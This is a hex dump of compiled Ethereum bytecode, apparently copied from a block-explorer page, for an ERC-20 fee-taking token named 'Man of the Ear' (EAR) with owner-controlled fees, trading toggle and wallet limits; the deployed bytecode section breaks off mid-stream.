9190612c26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611108906131e1565b915050611074565b50505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061114933848461159d565b6001905092915050565b61115c3361086b565b61119b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119290613024565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f819055508260118190555081601281905550806013819055506111e2600160145461213f90919063ffffffff16565b6011541115801561120a5750611204600160145461213f90919063ffffffff16565b60125411155b801561122d5750611227600160145461213f90919063ffffffff16565b60135411155b61126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390613275565b60405180910390fd5b50505050505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113053361086b565b611344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133b90613024565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516113b391906132f4565b60405180910390a150565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142490613381565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390613413565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157a9190612bb8565b60405180910390a3505050565b600081836115959190613433565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361160c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611603906134d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361167b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116729061356b565b60405180910390fd5b61168483610990565b8111156116c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bd906135fd565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561176a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117bf57600760149054906101000a900460ff166117be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b590613669565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118635750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118bd5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199357601a5461195182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215590919063ffffffff16565b1115611992576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611989906136d5565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ad65760195481111580611a425750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc90613741565b60405180910390fd5b5b60185481111580611b305750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b845750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bba90613741565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c6a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8a57600160086000828254611c829190613761565b925050819055505b611c9583838361216b565b15611cae57611ca5600b54611ebc565b60006008819055505b611d0081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158790919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611d4f84846122a5565b611d595781611d65565b611d64848484612353565b5b9050611db981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e599190612bb8565b60405180910390a350505050565b6000838311158290611eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea69190612a73565b60405180910390fd5b5082840390509392505050565b6001600960006101000a81548160ff0219169083151502179055506000611f2a6002611f1c600f54611f0e600e54611f006001600d5461215590919063ffffffff16565b61215590919063ffffffff16565b61215590919063ffffffff16565b61212990919063ffffffff16565b90506000611f5582611f47600d548661212990919063ffffffff16565b61213f90919063ffffffff16565b90506000611f6c828561158790919063ffffffff16565b90506000479050611f7c82612511565b6000611f91824761158790919063ffffffff16565b90506000611fbc611fad600d548861158790919063ffffffff16565b8361213f90919063ffffffff16565b90506000611fd5600d548361212990919063ffffffff16565b90506000811115611feb57611fea8682612754565b5b6000612015600e5461200760028661212990919063ffffffff16565b61212990919063ffffffff16565b9050600081111561208a57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612088573d6000803e3d6000fd5b505b6000479050600081111561210257601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612100573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b600081836121379190613795565b905092915050565b6000818361214d9190613806565b905092915050565b600081836121639190613761565b905092915050565b600080600c5483101590506000600b5461218430610990565b10159050600960009054906101000a900460ff161580156121b15750600760159054906101000a900460ff165b80156121c95750600760149054906101000a900460ff165b80156121d25750815b80156122285750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122815750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156122915750600a5460085410155b801561229a5750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561234b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806123608585612854565b11156125065760006123986123758686612854565b61238a6014548661213f90919063ffffffff16565b61212990919063ffffffff16565b90506123ec81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161248c9190612bb8565b60405180910390a360006010541180156124b057506010546124ae8686612854565b115b156124eb576124ea3061dead6124e56010546124d76014548961213f90919063ffffffff16565b61212990919063ffffffff16565b61159d565b5b6124fe818461158790919063ffffffff16565b91505061250a565b8190505b9392505050565b6000600267ffffffffffffffff81111561252e5761252d613837565b5b60405190808252806020026020018201604052801561255c5781602001602082028036833780820191505090505b509050308160008151811061257457612573613183565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561261b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061263f919061387b565b8160018151811061265357612652613183565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126ba30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161271e9594939291906139a1565b600060405180830381600087803b15801561273857600080fd5b505af115801561274c573d6000803e3d6000fd5b505050505050565b61278130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161280a969594939291906139fb565b60606040518083038185885af1158015612828573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061284d9190613a5c565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128f75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561291957612912606460145461158790919063ffffffff16565b90506129dd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129785760125490506129dd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d75760115490506129dd565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a1d578082015181840152602081019050612a02565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a45826129e3565b612a4f81856129ee565b9350612a5f8185602086016129ff565b612a6881612a29565b840191505092915050565b60006020820190508181036000830152612a8d8184612a3a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612aca82612a9f565b9050919050565b612ada81612abf565b8114612ae557600080fd5b50565b600081359050612af781612ad1565b92915050565b6000819050919050565b612b1081612afd565b8114612b1b57600080fd5b50565b600081359050612b2d81612b07565b92915050565b60008060408385031215612b4a57612b49612a95565b5b6000612b5885828601612ae8565b9250506020612b6985828601612b1e565b9150509250929050565b60008115159050919050565b612b8881612b73565b82525050565b6000602082019050612ba36000830184612b7f565b92915050565b612bb281612afd565b82525050565b6000602082019050612bcd6000830184612ba9565b92915050565b600080600060608486031215612bec57612beb612a95565b5b6000612bfa86828701612ae8565b9350506020612c0b86828701612ae8565b9250506040612c1c86828701612b1e565b9150509250925092565b600060208284031215612c3c57612c3b612a95565b5b6000612c4a84828501612ae8565b91505092915050565b600060ff82169050919050565b612c6981612c53565b82525050565b6000602082019050612c846000830184612c60565b92915050565b612c9381612b73565b8114612c9e57600080fd5b50565b600081359050612cb081612c8a565b92915050565b60008060408385031215612ccd57612ccc612a95565b5b6000612cdb85828601612ae8565b9250506020612cec85828601612ca1565b9150509250929050565b600080600060608486031215612d0f57612d0e612a95565b5b6000612d1d86828701612b1e565b9350506020612d2e86828701612b1e565b9250506040612d3f86828701612b1e565b9150509250925092565b600080600060608486031215612d6257612d61612a95565b5b6000612d7086828701612ae8565b9350506020612d8186828701612ae8565b9250506040612d9286828701612ae8565b9150509250925092565b612da581612abf565b82525050565b6000602082019050612dc06000830184612d9c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612deb57612dea612dc6565b5b8235905067ffffffffffffffff811115612e0857612e07612dcb565b5b602083019150836020820283011115612e2457612e23612dd0565b5b9250929050565b600080600060408486031215612e4457612e43612a95565b5b600084013567ffffffffffffffff811115612e6257612e61612a9a565b5b612e6e86828701612dd5565b93509350506020612e8186828701612ca1565b9150509250925092565b600080600080600080600060e0888a031215612eaa57612ea9612a95565b5b6000612eb88a828b01612b1e565b9750506020612ec98a828b01612b1e565b9650506040612eda8a828b01612b1e565b9550506060612eeb8a828b01612b1e565b9450506080612efc8a828b01612b1e565b93505060a0612f0d8a828b01612b1e565b92505060c0612f1e8a828b01612b1e565b91505092959891949750929550565b60008060408385031215612f4457612f43612a95565b5b6000612f5285828601612ae8565b9250506020612f6385828601612ae8565b9150509250929050565b6000612f7882612a9f565b9050919050565b612f8881612f6d565b8114612f9357600080fd5b50565b600081359050612fa581612f7f565b92915050565b600060208284031215612fc157612fc0612a95565b5b6000612fcf84828501612f96565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061300e6006836129ee565b915061301982612fd8565b602082019050919050565b6000602082019050818103600083015261303d81613001565b9050919050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b60006130a0602e836129ee565b91506130ab82613044565b604082019050919050565b600060208201905081810360008301526130cf81613093565b9050919050565b6000815190506130e581612b07565b92915050565b60006020828403121561310157613100612a95565b5b600061310f848285016130d6565b91505092915050565b600060408201905061312d6000830185612d9c565b61313a6020830184612ba9565b9392505050565b60008151905061315081612c8a565b92915050565b60006020828403121561316c5761316b612a95565b5b600061317a84828501613141565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006131ec82612afd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361321e5761321d6131b2565b5b600182019050919050565b7f746f74616c46656520616e642073656c6c46656520746f6f2068696768000000600082015250565b600061325f601d836129ee565b915061326a82613229565b602082019050919050565b6000602082019050818103600083015261328e81613252565b9050919050565b6000819050919050565b60006132ba6132b56132b084612a9f565b613295565b612a9f565b9050919050565b60006132cc8261329f565b9050919050565b60006132de826132c1565b9050919050565b6132ee816132d3565b82525050565b600060208201905061330960008301846132e5565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061336b6024836129ee565b91506133768261330f565b604082019050919050565b6000602082019050818103600083015261339a8161335e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133fd6022836129ee565b9150613408826133a1565b604082019050919050565b6000602082019050818103600083015261342c816133f0565b9050919050565b600061343e82612afd565b915061344983612afd565b9250828203905081811115613461576134606131b2565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134c36025836129ee565b91506134ce82613467565b604082019050919050565b600060208201905081810360008301526134f2816134b6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006135556023836129ee565b9150613560826134f9565b604082019050919050565b6000602082019050818103600083015261358481613548565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006135e76031836129ee565b91506135f28261358b565b604082019050919050565b60006020820190508181036000830152613616816135da565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000613653600e836129ee565b915061365e8261361d565b602082019050919050565b6000602082019050818103600083015261368281613646565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b60006136bf601e836129ee565b91506136ca82613689565b602082019050919050565b600060208201905081810360008301526136ee816136b2565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b600061372b6011836129ee565b9150613736826136f5565b602082019050919050565b6000602082019050818103600083015261375a8161371e565b9050919050565b600061376c82612afd565b915061377783612afd565b925082820190508082111561378f5761378e6131b2565b5b92915050565b60006137a082612afd565b91506137ab83612afd565b92508282026137b981612afd565b915082820484148315176137d0576137cf6131b2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061381182612afd565b915061381c83612afd565b92508261382c5761382b6137d7565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061387581612ad1565b92915050565b60006020828403121561389157613890612a95565b5b600061389f84828501613866565b91505092915050565b6000819050919050565b60006138cd6138c86138c3846138a8565b613295565b612afd565b9050919050565b6138dd816138b2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61391881612abf565b82525050565b600061392a838361390f565b60208301905092915050565b6000602082019050919050565b600061394e826138e3565b61395881856138ee565b9350613963836138ff565b8060005b8381101561399457815161397b888261391e565b975061398683613936565b925050600181019050613967565b5085935050505092915050565b600060a0820190506139b66000830188612ba9565b6139c360208301876138d4565b81810360408301526139d58186613943565b90506139e46060830185612d9c565b6139f16080830184612ba9565b9695505050505050565b600060c082019050613a106000830189612d9c565b613a1d6020830188612ba9565b613a2a60408301876138d4565b613a3760608301866138d4565b613a446080830185612d9c565b613a5160a0830184612ba9565b979650505050505050565b600080600060608486031215613a7557613a74612a95565b5b6000613a83868287016130d6565b9350506020613a94868287016130d6565b9250506040613aa5868287016130d6565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bbef27c8d1e2884d1ba7dd4d210eb84f7dbfdf4d14100652fa704a2f0f42c9b64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101855760003560e01c80637cca52fe116100d15780639d8740cb1161008a578063a9059cbb11610064578063a9059cbb14610569578063aeb5b9b5146105a6578063dd62ed3e146105cf578063f2fde38b1461060c5761018c565b80639d8740cb146104ec578063a0916b8214610515578063a8aa1b311461053e5761018c565b80637cca52fe146103ee5780637d1db4a5146104195780637e4ed88514610444578063893d20e81461046d5780638cd4426d1461049857806395d89b41146104c15761018c565b80632f54bf6e1161013e57806348ff2b8b1161011857806348ff2b8b1461033457806370a082311461035d57806378109e541461039a5780637b62db71146103c55761018c565b80632f54bf6e1461028f578063313ce567146102cc5780633f4218e0146102f75761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806326a0880f14610261578063293230b8146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610635565b6040516101b39190612a73565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612b33565b610672565b6040516101f09190612b8e565b60405180910390f35b34801561020557600080fd5b5061020e610689565b60405161021b9190612bb8565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612bd3565b6106ca565b6040516102589190612b8e565b60405180910390f35b34801561026d57600080fd5b50610276610795565b005b34801561028457600080fd5b5061028d610806565b005b34801561029b57600080fd5b506102b660048036038101906102b19190612c26565b61086b565b6040516102c39190612b8e565b60405180910390f35b3480156102d857600080fd5b506102e16108c4565b6040516102ee9190612c6f565b60405180910390f35b34801561030357600080fd5b5061031e60048036038101906103199190612c26565b6108cd565b60405161032b9190612b8e565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190612cb6565b6108ed565b005b34801561036957600080fd5b50610384600480360381019061037f9190612c26565b610990565b6040516103919190612bb8565b60405180910390f35b3480156103a657600080fd5b506103af6109d9565b6040516103bc9190612bb8565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e79190612cf6565b6109df565b005b3480156103fa57600080fd5b50610403610b5a565b6040516104109190612bb8565b60405180910390f35b34801561042557600080fd5b5061042e610b60565b60405161043b9190612bb8565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612d49565b610b66565b005b34801561047957600080fd5b50610482610d7e565b60405161048f9190612dab565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba9190612b33565b610da7565b005b3480156104cd57600080fd5b506104d6610f38565b6040516104e39190612a73565b60405180910390f35b3480156104f857600080fd5b50610513600480360381019061050e9190612cf6565b610f75565b005b34801561052157600080fd5b5061053c60048036038101906105379190612e2b565b611029565b005b34801561054a57600080fd5b50610553611116565b6040516105609190612dab565b60405180910390f35b34801561057557600080fd5b50610590600480360381019061058b9190612b33565b61113c565b60405161059d9190612b8e565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c89190612e8b565b611153565b005b3480156105db57600080fd5b506105f660048036038101906105f19190612f2d565b611275565b6040516106039190612bb8565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e9190612fab565b6112fc565b005b60606040518060400160405280600e81526020017f4d616e206f662074686520456172000000000000000000000000000000000000815250905090565b600061067f3384846113be565b6001905092915050565b60006106c56106986000610990565b6106b76106a661dead610990565b60015461158790919063ffffffff16565b61158790919063ffffffff16565b905090565b60006106d784848461159d565b61078a843361078585604051806060016040528060288152602001613ab060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e679092919063ffffffff16565b6113be565b600190509392505050565b61079e3361086b565b6107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490613024565b60405180910390fd5b60006107e830610990565b9050600b548111156107fa57600b5490505b61080381611ebc565b50565b61080f3361086b565b61084e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084590613024565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6108f63361086b565b610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c90613024565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b6109e83361086b565b610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90613024565b60405180910390fd5b6000610a52612710610a448660015461212990919063ffffffff16565b61213f90919063ffffffff16565b90506000610a7f612710610a718660015461212990919063ffffffff16565b61213f90919063ffffffff16565b90506000610aac612710610a9e8660015461212990919063ffffffff16565b61213f90919063ffffffff16565b9050826018819055508160198190555080601a819055506000610af46103e8610ae66005610ad8610689565b61212990919063ffffffff16565b61213f90919063ffffffff16565b9050808410158015610b065750808310155b8015610b125750808210155b610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906130b6565b60405180910390fd5b50505050505050565b60195481565b60185481565b610b6f3361086b565b610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590613024565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610db03361086b565b610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690613024565b60405180910390fd5b6000610e906064610e82848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e339190612dab565b602060405180830381865afa158015610e50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7491906130eb565b61212990919063ffffffff16565b61213f90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610eef929190613118565b6020604051808303816000875af1158015610f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f329190613156565b50505050565b60606040518060400160405280600381526020017f4541520000000000000000000000000000000000000000000000000000000000815250905090565b610f7e3361086b565b610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb490613024565b60405180910390fd5b82600a81905550610fee620186a0610fe08460015461212990919063ffffffff16565b61213f90919063ffffffff16565b600b8190555061101e620186a06110108360015461212990919063ffffffff16565b61213f90919063ffffffff16565b600c81905550505050565b6110323361086b565b611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890613024565b60405180910390fd5b60005b8383905081101561111057816005600086868581811061109757611096613183565b5b90506020020160208101906110ac9190612c26565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611108906131e1565b915050611074565b50505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061114933848461159d565b6001905092915050565b61115c3361086b565b61119b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119290613024565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f819055508260118190555081601281905550806013819055506111e2600160145461213f90919063ffffffff16565b6011541115801561120a5750611204600160145461213f90919063ffffffff16565b60125411155b801561122d5750611227600160145461213f90919063ffffffff16565b60135411155b61126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390613275565b60405180910390fd5b50505050505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113053361086b565b611344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133b90613024565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516113b391906132f4565b60405180910390a150565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142490613381565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390613413565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157a9190612bb8565b60405180910390a3505050565b600081836115959190613433565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361160c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611603906134d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361167b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116729061356b565b60405180910390fd5b61168483610990565b8111156116c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bd906135fd565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff